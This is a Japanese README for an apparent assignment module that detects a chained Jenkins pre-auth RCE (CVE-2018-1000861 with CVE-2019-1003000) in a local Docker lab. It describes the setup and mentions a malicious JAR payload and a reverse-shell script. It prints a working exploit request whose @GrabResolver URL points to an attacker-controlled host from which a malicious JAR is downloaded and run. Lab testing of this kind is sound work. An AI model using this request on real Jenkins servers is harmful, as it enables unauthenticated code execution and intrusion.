CVE-2019-1003000_RCE-DETECTION

総合的な概要

脆弱性CVE-2018-1000861とCVE-2019-1003000を連鎖させて、Jenkins CIにおけるPre-Auth RCEをテストするモジュールを作成しました。当初はユーザー名、パスワード、ジョブ名を使って脆弱性を検出しようと試みましたが、2つの脆弱性を連鎖させる方法の方がより現実的で興味深いと考えました。

前提条件

Windows、Linux、macOSのマシンにVisual Studioまたは.NET Coreフレームワークがインストールされていること。

環境設定（私の方法）

1. 最初に、課題の指示に従って指定されたDockerバージョンをDockerHubからプルしました: docker pull jenkins/jenkins:2.121
2. 次に、このリポジトリにあるbashスクリプトを作成し、脆弱なJenkinsサーバーを実行する新しいDockerコンテナを起動して、ローカルマシンにバインドマウントしました。
   • 管理ユーザー
     • ユーザー名 - Naruto
     • パスワード - Uzumaki
     • 名前 - Naruto
3. 次に、plugins.index.ioに移動して、Jenkinsにインストールする特定のプラグインバージョンを見つけました。
   • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
   • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • プラグインをインストールした後、'Manage plugins'の'Advanced'セクションに移動し、Update Siteフィールドをクリアして保存してください。これにより、再起動時に自動更新されなくなります。

実行（インストールと実行方法）

1. ペイロードディレクトリに移動して mvDir.sh を実行します。
   • ./mvDir.sh として実行
     • すでに実行可能としてマークされているはずですが、そうでない場合は chmod +x mvDir.sh を実行してください。それでもうまくいかない場合は、bash mvDir.sh として実行できます。
     • このコマンドは、悪意のあるjarファイルを含むディレクトリをコンピュータのルートに移動します。これは、悪意のあるリクエストで指定されたjarファイルを探す際にGETリクエストが検索する場所です。
2. jenkins_environmentに移動して ./run_vuln_jenkins.sh を実行します。
   • 上記のコマンドが機能しない場合は、上記の指示に従ってください。
   • このbashスクリプトは、脆弱なJenkinsサーバーをホストするDockerコンテナを起動します（http://localhost:8080）。
   • さらに、./run_updated_jenkins.sh または bash run_updated_jenkins.sh を実行すると、セキュアで最新のJenkinsサーバーが http://localhost:8000 で起動し、これに対してモジュールを実行すると、CVE-2018-1000861とCVE-2019-1003000の連鎖に対して脆弱でなく安全であることが示されます。
3. exploit-detection-code/jenkins-server-rce/ に移動します。
   • このプロジェクトは.NET Coreフレームワークを使用して構築されています。実行するには、最初にコマンド dotnet build を呼び出してください。
   • モジュールの実行

     • モジュールを実行するには:

考察

当初の計画は、解決策に取り組むための良い枠組みでしたが、実際に進めるにつれて、多くの作業が必要以上に複雑になっていることに気づきました。当初はRCEを証明するために、ホストマシンにリバースシェルを起動するbashスクリプトを作成しました。しかし、この課題の目標は脆弱性が存在することを証明することでした。この場合、Jenkinsバージョン2.121.2で、以下のプラグインを使用してRCEが起動できることを証明することでした：Pipeline: Declarative Plugin 1.3.4、Pipeline: Declarative Extension Points API 1.3.4、Pipeline: Groovy Plugin 2.61、Script Security Plugin 1.49。

実際にリバースシェルを作成して任意のコマンドを実行できることを示す必要はありませんでした。そのため、Windowsと.nixベースのオペレーティングシステムの両方で検出が容易になります。GETリクエストを行った後、ページは成功を示すステータスを返すか、エラーメッセージを出力することがわかりました。しかし、成功ステータスが誤検出でないことを確認するために、ホスト上でpython -m SimpleHTTPServer 80を使用してWebサーバーをセットアップし、指定された悪意のあるJARファイル（payloadフォルダにあります）へのカスタムGETリクエストを発行したところ、GETリクエストが200ステータスコードで、ローカルマシン上のjarファイルへの正しいパスを返すことが確認でき、脆弱性が存在することが証明されました。以下はGETリクエストと対応するレスポンスのサンプルです。異なるファイルパス（tw/ および www/）にはそれぞれ悪意のあるjarが含まれており、リクエストはそれらを見つけるために異なるパスを辿っています。

GETリクエスト

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

使用したソース

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/